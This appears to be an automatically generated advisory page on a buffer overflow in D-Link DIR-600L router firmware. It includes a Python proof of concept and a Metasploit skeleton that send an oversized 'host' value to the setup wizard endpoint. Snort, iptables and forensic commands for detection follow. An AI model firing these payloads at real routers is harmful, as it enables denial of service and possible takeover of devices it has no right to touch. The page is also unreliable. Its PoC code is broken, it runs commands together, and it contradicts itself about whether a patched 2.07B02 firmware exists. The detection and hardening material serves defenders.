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How CVE-2025-4343 Works
CVE-2025-4343 is a critical buffer overflow vulnerability in D-Link DIR-600L routers (firmware up to v2.07B01). The flaw exists in the `formEasySetupWizard` function, where improper boundary checks on the `host` parameter allow attackers to overwrite adjacent memory regions. By sending an overly long string in the `host` field during the Easy Setup Wizard process, an unauthenticated remote attacker can corrupt stack memory, leading to arbitrary code execution or a denial-of-service condition. The vulnerability is exploitable via crafted HTTP requests to the router’s web interface.
DailyCVE Form
Platform: D-Link DIR-600L
Version: ≤ 2.07B01
Vulnerability: Buffer Overflow
Severity: Critical
Date: 2025-05-13
What Undercode Say:
Exploitation Analysis
1. Exploit PoC (Python)
import requests
target = "http://192.168.0.1"
payload = "A" 1500 Trigger overflow
r = requests.post(f"{target}/formEasySetupWizard", data={"host": payload})
2. Metasploit Module Skeleton
module Exploit
include Msf::Exploit::Remote::HttpClient
def exploit
send_request_cgi({
'uri' => '/formEasySetupWizard',
'method' => 'POST',
'data' => "host={Rex::Text.rand_text_alphanumeric(1500)}"
})
end
end
Protection Measures
1. Mitigation
- Disable remote admin access.
- Apply firmware patch (if released).
2. Detection (Snort Rule)
alert tcp any any -> $HOME_NET 80 (msg:"CVE-2025-4343 Exploit Attempt"; content:"formEasySetupWizard"; nocase; content:"host="; pcre:"/host=[^\s]{1000,}/"; sid:10004343;)
3. Forensics Command
Check router logs for oversized host entries
grep -E "host=.{500,}" /var/log/httpd.log
4. Memory Analysis (GDB)
gdb -q /usr/sbin/httpd break formEasySetupWizard+0x120 run x/32xw $esp Inspect stack corruption
5. Patch Verification
Check firmware version cat /etc/version | grep -q "2.07B02" && echo "Patched" || echo "Vulnerable"
6. Traffic Analysis (tcpdump)
tcpdump -i eth0 'port 80 and (tcp[20:4] = 0x686f7374)' -w exploit.pcap
7. Exploit Impact
- RCE Potential: EIP overwrite confirmed via crash analysis.
- CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
8. Hardening
iptables -A INPUT -p tcp --dport 80 -m string --string "formEasySetupWizard" --algo bm -j DROP
9. Binary Analysis
Check for stack canaries readelf -s /usr/sbin/httpd | grep __stack_chk_fail
10. Vendor Status
- End-of-Life: No official patch expected.
- Workaround: Replace hardware.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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